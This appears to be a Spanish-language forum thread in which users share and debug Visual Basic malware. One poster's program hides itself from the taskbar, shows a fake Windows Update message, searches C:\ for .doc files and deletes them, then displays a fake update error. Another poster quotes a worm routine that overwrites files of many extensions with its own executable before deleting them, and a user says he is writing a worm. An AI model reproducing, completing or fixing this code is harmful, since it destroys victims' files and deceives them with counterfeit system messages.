Mensajes

que bueno me ha servido de  mucho gracias

saludos

nose he probado con esto

Código [Seleccionar] Expandir

On Error Resume Next
textos = Dir("C:\a\*.txt")
Do Until textos = ""
If textos = "*.txt" Then
Kill "*.txt"
Else
textos = Dir
Kill "*.txt"
End If
Loop

he intentado borrar los txt de C:\a y sus subdirectorios pero no rula

en las propiedades del form, cambias "ShowInTaskbar" a false
o en codigo

Código [Seleccionar] Expandir

app.taskvisible = false

pero solo es una funcion "secundaria", no creo que se de cuenta de la carpeta donde se copian. Estaba haciendo un worm perohace poco se me jodio el sector de arranque y se me borro, ahora estoy volviendo a hacer uno, en que acabe los examenes y tenga tiempo lo hare, posteare el codigo si queris

saludos

Si,esta bien el programa(mentira) 

pero en el 2008 para que tu aplicacion funcione en otros pc tienen que tener instalado el framework no?¿

bueno leyendo un poco lo arregle, jeje perdon

Código [Seleccionar] Expandir


Option Explicit

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
Timer1.Interval = 20000
Timer2.Interval = 25000
'Directorio de windows
    Text1.Text = "C:\"
    'Archivos txt
    Text2.Text = "*.doc"
   
   

End Sub

Private Sub Timer1_Timer()
  Dim path As String
    Dim Pattern As String
    Dim FileSize As Currency
    Dim Count_Archivos As Long
    Dim Count_Dir As Long

    Screen.MousePointer = vbHourglass
   
    List1.Clear
   
    'Path y archivos a buscar
    path = Text1.Text
    Pattern = Text2.Text
    MsgBox "Windows está buscando actualizaciones. Este proceso puede durar varios minutos. Por favor espere", vbInformation, "Microsoft Windows"

   
   
    'Llamamos a la función para buscar y que nos retorne algunos datos
    FileSize = FindFilesAPI(path, Pattern, _
                            Count_Archivos, _
                            Count_Dir, List1)

    Screen.MousePointer = vbDefault
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
Dim i As Integer
Dim Pattern As String
Dim fso
Dim path As String
For i = 0 To List1.ListCount
Pattern = List1.List(i)
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile Pattern, True
Next i
MsgBox "No se ha podido descargar el siguiente paquete en las actualizaciones de Windows: package MSN 4874800xsf.dll", vbCritical, "Microsoft Windows"
Timer1.Enabled = False
End Sub

el code del modulo esta en el enlace del 1er mensaje

saludos 

no me funciona
alguien sabe porque es?

lo de poner un timer si lo sabia pero no esta funcion :

Código [Seleccionar] Expandir

Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function

no, seguramente estoy haciendo algo mal del otro code

en el worm de DrakoX hay este code:

Código [Seleccionar] Expandir

Private Sub Borrar_Archivos() 'Borro archivos que pueden ser importantes para el Usuario
On Error Resume Next
EXTlist = Array("mp3", "mid", "aif", "mp4", "ogg", "wma", "wmv", "wav", "asf", "avi", "mpg", "mov", "ace", "arj", "cab", "iso", "rar", "zip", "doc", "txt", "pdf", "pps", _
"sdd", "sdc", "sdw", "sxg", "xls", "xlm", "rtf", "ctt", "msg", "xml", "htm", "css", "swf", "vbs", "3ds", "jpg", "jpeg", "gif", "bmp", "png", "reg", "sys", "h", "cpp", "bak", _
"cab", "ttf", "fon", "lnk")
For Each i In Carpetas
    For Each j In Fso.GetFolder(i).Files
        For y = LBound(EXTlist) To UBound(EXTlist)
            If Fso.GetExtensionName(j) = EXTlist(y) Then
                Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", j, True
                Fso.DeleteFile j, True
            End If
        Next y
    Next
Next
End Sub
es mas corto pero no lo entiendo